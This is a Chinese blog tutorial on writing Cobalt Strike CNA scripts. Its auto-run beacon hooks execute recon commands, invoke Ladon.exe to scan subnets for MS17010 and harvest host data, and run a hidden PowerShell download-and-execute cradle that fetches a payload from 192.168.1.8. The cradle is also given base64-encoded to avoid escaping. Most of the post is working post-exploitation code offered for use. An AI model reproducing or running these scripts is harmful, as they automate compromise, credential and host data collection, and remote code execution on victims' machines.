• 渗透测试-CNA_Bshell程序


    CS魔改拓展之.CNA

    执行CMD

    bshell($1,"whoami");
    
    • 1

    执行多条CMD可用&符号连接

    bshell($1,"whoami&net user&tasklist");
    
    • 1

    也可以写多行bshell代码

    bshell($1,"whoami");
    bshell($1,"net user");
    bshell($1,"ipconfig")
    
    • 1
    • 2
    • 3

    来自K8的自动化Demo
    https://blog.csdn.net/k8gege/article/details/120931547

    #Initial GetInfo
    #by K8gege
    on beacon_initial {
    #println("Initial Beacon Checkin: " . $1 . " PID: " . beacon_info($1, "pid"));
    blog($1,"Auto GetInfo");
    bshell($1,"net user");
    #bshell($1,"whoami&net user&tasklist");
    #$process = exec("whoami");
    } 
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    以上代码保存为auto.cna文件,
    工具栏–Cobalt Strike–Script Mannge–点击Load加载auto.cna

    在这里插入图片描述
    自动执行我们预设的命令net user

    在这里插入图片描述
    执行Ladon

    bexecute_assembly!($1, script_resource("Ladon.exe"),"MS17010");
    
    • 1

    Ladon可自动获取
    当前机器所有网卡IP,
    并扫描C段机器是否存在MS17010漏洞,
    实现自动信息获取、漏洞扫描等 。

    #Initial GetInfo
    #by K8gege
    on beacon_initial {
    #println("Initial Beacon Checkin: " . $1 . " PID: " . beacon_info($1, "pid"));
    blog($1,"Auto GetInfo");
    bshell($1,"net user");
    bexecute_assembly!($1, script_resource("Ladon.exe"),"onlinepc");
    bexecute_assembly!($1, script_resource("Ladon.exe"),"ms17010");
    #bshell($1,"whoami&net user&tasklist");
    #$process = exec("whoami");
    }
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12

    # 执行复杂命令
    对于Ladon未支持的功能,可能需复杂的多语句命令完成,
    命令中的双引号以及其它特殊字符CS转义比较麻烦,
    加上现在XP、2003系统几乎淘汰,主流基本都是WIN7以上系统,
    所以推荐大家使用PowerShell比较省事。
    以CS自动更新或转移权限为例,以下是CS的一行代码上线命令

    powershell.exe -nop -w hidden -c ""IEX ((new-object net.webclient).downloadstring('http://192.168.1.8:80/a'))""
    
    • 1

    使用LadonGui–PowerShell的Base64Command
    将要执行的命令转成base64Command,这样可完美解决CNA脚本解析符号或转义问题。

    CS自动更新脚本

    #Initial GetInfo
    #by K8gege
    on beacon_initial {
    #println("Initial Beacon Checkin: " . $1 . " PID: " . beacon_info($1, "pid"));
    blog($1,"Auto GetInfo");
    bshell($1,"net user");
    #bexecute_assembly!($1, script_resource("Ladon.exe"),"getinfo");
    bshell($1,"powershell -enc cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAALQBuAG8AcAAgAC0AdwAgAGgAaQBkAGQAZQBuACAALQBjACAAIgBJAEUAWAAgACgAKABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAHMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4AOAA6ADgAMAAvAGEAMQAxACcAKQApACIA");
    #bshell($1,"whoami&net user&tasklist");
    #$process = exec("whoami");
    }
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12

    目标机器上线时,将执行转换好的powershell代码,自动完成权限转移

    在这里插入图片描述

     #Initial GetInfo
    #by K8gege
    on beacon_initial {
    #println("Initial Beacon Checkin: " . $1 . " PID: " . beacon_info($1, "pid"));
    blog($1,"Auto GetInfo");
    bshell($1,"net user");
    bexecute_assembly!($1, script_resource("Ladon.exe"),"onlinepc");
    bexecute_assembly!($1, script_resource("Ladon.exe"),"ms17010");
    bexecute_assembly!($1, script_resource("Ladon.exe"),"smbinfo");
    bexecute_assembly!($1, script_resource("Ladon.exe"),"wmiinfo");
    bexecute_assembly!($1, script_resource("Ladon.exe"),"snmpscan");
    bexecute_assembly!($1, script_resource("Ladon.exe"),"webscan");
    bexecute_assembly!($1, script_resource("Ladon.exe"),"getinfo");
    bexecute_assembly!($1, script_resource("Ladon.exe"),"cmdline");
    bexecute_assembly!($1, script_resource("Ladon.exe"),"usblog");
    bexecute_assembly!($1, script_resource("Ladon.exe"),"rdplog");
    bexecute_assembly!($1, script_resource("Ladon.exe"),"getid");
    bexecute_assembly!($1, script_resource("Ladon.exe"),"recent");
    bexecute_assembly!($1, script_resource("Ladon.exe"),"netver");
    bexecute_assembly!($1, script_resource("Ladon.exe"),"allver");
    #bshell($1,"whoami&net user&tasklist");
    #$process = exec("whoami");
    }
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24

    CS联运Ladon收集信息脚本
    在这里插入图片描述

    getinfo模块会自动收集以下信息,所以无需bshell添加一堆命令,
    当然截图只能截到一部分,有些功能如usblog、.net版本、最近使用文件recent等非cmd命令获取的信息也在该模块里,

    如截图部分的获取CPUID、硬盘ID等非cmd命令获取,getinfo能获取的信息,并不全是系统自带CMD,有些信息自带的格式错乱,或者获取不到更详细参数。

    GetInfo2模块比getinfo多了以下功能,
    在这里插入图片描述

    因为考虑到在少量机器上wmi执行有问题会导致卡死,所以为了兼容所有C2默认getinfo不获取该wmi相关信息

  • 相关阅读:
    《拼多多电商业务场景》批量采集产品数据根据关键词获取商品列表示例
    Harmony 页面之间的跳转
    AQS之Condition分析 (六)
    ClickHouse(05)ClickHouse数据类型详解
    springboot集成quartz并实现定时任务管理
    奇迹mu服务端开服架设技术搭建Data文件说明
    Matter over Wi-Fi : Linux开发环境设置
    SpringBoot测试类
    鸿蒙HarmonyOS从零实现类微信app效果第一篇,基础界面搭建
    Locust 之@task和@tag装饰器梳理
  • 原文地址:https://blog.csdn.net/qq_33608000/article/details/126573628